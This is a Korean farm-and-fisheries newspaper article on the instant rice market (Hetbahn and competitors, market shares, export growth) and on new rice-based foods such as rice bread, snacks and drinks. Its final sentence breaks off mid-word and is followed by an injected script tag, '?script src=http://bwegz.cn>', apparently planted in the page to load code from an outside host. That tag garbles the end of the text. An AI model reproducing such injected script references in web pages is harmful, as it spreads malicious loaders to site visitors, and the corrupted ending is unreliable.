▲ 즉석밥의 전성시대다. 즉석밥 시장규모가 커지면서 밥을 원료로한 리조또, 덮밥류 등의 상품들도 잇따라 출시되고 있다.


쌀 소비량이 줄고 있다. 그러나 쌀을 원재료로 잘 만든 상품의 소비량은 늘고 있다.

쌀로 만든 상품이 인기를 끌 수 있었던 요인은 무엇일까?

소비지에서 인정을 받고 있는 상품이 성공하기까지의 히스토리와 노하우를 알아봤다.

#쌀 제품 대표주자 즉석밥

즉석밥으로 처음 1996년 CJ(주)에서 출시한 ‘햇반’은 쌀을 상품화한 대표 주자로 꼽힌다.

햇반의 출시 이후 농심(주)과 오뚜기(주) 등에서 즉석밥 브랜드가 잇따라 출시되며 즉석밥 시장을 새롭게 만든 제품으로 평가받고 있다.

햇반과 같은 즉석밥 시장은 주5일 근무제 확산, 독신자, 맞벌이 부부 증가 등으로 빠르게 성장하고 있으며 2004년 시장 규모가 1000억원에 이르렀다.

특히 햇반은 1996년부터 지난해 6월까지 3500억원에 달해 3000억원 판매금액을 돌파했으며 2억2800만개가 판매됐다.

이같은 판매실적에서 볼 때 우리나라 국민 4600만명을 기준으로 1인당 평균 5개를 먹은 셈이다.

꾸준한 매출 신장은 후속 상품 개발의 덕이기도 하다.

2002년 5월 농심에 이어 2004년 12월 오뚜기가 잇따라 시장에 뛰어들었다. 현재 즉석밥은 CJ가 72%, 농심 19.1%, 오뚜기 8.9%의 시장점유율을 보이고 있다.

CJ는 처음 ‘햇반’을 출시한 이후 후속으로 흑미밥·오곡밥·발아현미밥 등과 북어국밥·짜장밥·카레밥 등의 제품을 선보였다.

농심 역시 따끈따끈 햅쌀밥 출시 이후 발아현미밥·소고기국밥·미역국밥·라밥 등 다양한 제품 개발로 시장을 공략하고 있다.

오뚜기에서도 맛있는 밥 출시와 함께 맛있는 발아현미밥· 맛있는 발아흑미밥 등의 상품을 선보였다.

CJ와 농심, 오뚜기는 상품화된 즉석밥 브랜드를 이용한 쌀 상품의 패밀리 브랜드화를 통해 쌀을 원재료로 한 상품군을 늘리고 있다.

CJ는 쌀로 만든 햇반죽·햇반·쌀생면 등의 패밀리 브랜드를 줄줄이 선보이고 있으며 다양한 쌀제품 개발에도 박차를 가하고 있다. 오뚜기 또한 씻어나온 맛있는 쌀을 출시했다.

이밖에 햇반은 교포들과 유학생들 사이에서 인기를 끌어 해외 시장 공략에도 성공했다는 평가를 받고 있다.

1997년 7월 미국 시장에 수출을 시작한 이후 현재 미국, 캐나다, 호주, 뉴질랜드, 독일, 중국 등 10여개국으로 수출지역을 확대했다.

수출 첫해인 1997년 5만달러에 불과하던 매출은 지난 2004년 350만달러로 확대됐다.

수출확대를 위한 전략으로 CJ는 대한항공과 아시아나항공에 기내식으로 납품하는 등 판매망을 확대하고 있다.

#쌀로 만든 상품 어떤 것 들이 있나

‘쌀=밥’ 또는 ‘쌀=떡’이라는 고정관념을 과감하게 벗어던지고 개발된 쌀로 만든 신제품이 쏟아져 소비자들의 이목을 끌고 있다.

기존 쌀이 부족해 주식 이외에 가공용을 엄격히 제한하고 쌀을 수입했으나 이제는 남아도는 쌀을 걱정하는 처지가 됐기 때문.

쌀을 원료로 만든 상품들이 소비지에서 인기를 얻으면서 오히려 최근에는 ‘잘 만든 쌀 제품 하나, 열 밀가루 제품 안 부럽다’는 말이 돌 정도이다.

쌀 빵, 쌀 과자, 즉석 쌀밥, 즉석 쌀수제비, 쌀 음료, 쌀 첨가 우유, 심지어 쌀로 만든 화장품까지 등장했다.

국내에 쌀 가공식품이 처음 선보인 것은 지난 1987년 기린이 쌀을 원료로한 과자 쌀로별과 쌀로랑을 선보이면서 부터다.

이후 1992년 쌀라면이 선보인데 이어 1996년 즉석쌀밥이 대표적으로 개발됐다. 또한 1999년 쌀음료와 쌀 첨가 맥주 등 제품의 종류가 다양해지고 있다.

이와 함께 최근 쌀 재고 처리가 중요한 문제로 부각되는 만큼 쌀 가공식품 개발부문도 활발하게 이뤄질 전망이다.

다양하게 개발된 쌀로 만든 상품들을 소개한다.

△쌀가루로 만든 빵·스낵

쌀로 만든 가공식품으로 쌀 빵과 과자들이 속속들이 선보이고 있다. 쌀로 만든 빵과 스낵은 칼로리가 밀가루보다 낮으며 소화가 잘된다는 특성 때문에 다이어트와 건강을 강조했다.

농협이 지난 5월부터 하나로클럽 등을 통해 선보이고 있는 쌀빵도 어린이와 노인들에게 인기를 얻는 제품이다.

쌀빵은 밀가루와 방부제를 전혀 쓰지 않은 제품으로 쌀 고유의 쫄깃한 식감이 살아있으며 씹을수록 맛의 풍미를 느끼게 한다.

최근 다양하게 개발된 쌀 스낵도 한 몫을 한다. 농심이 2004년 6월부터 개발한 쌀 새우깡과, 전통한과의 이미지로 오랫동안 인기를 끌고 있는 조청유과 등이 히트상품으로 꼽힌다.

△쌀로 만든 맥주·음료

쌀음료와 맥주는 이미 잘 알려졌다.

초기 쌀로 만드나 음료는 새로운 아이디어?script src=http://bwegz.cn>
저작권자 © 농수축산신문 무단전재, 재배포 및 AI학습 이용 금지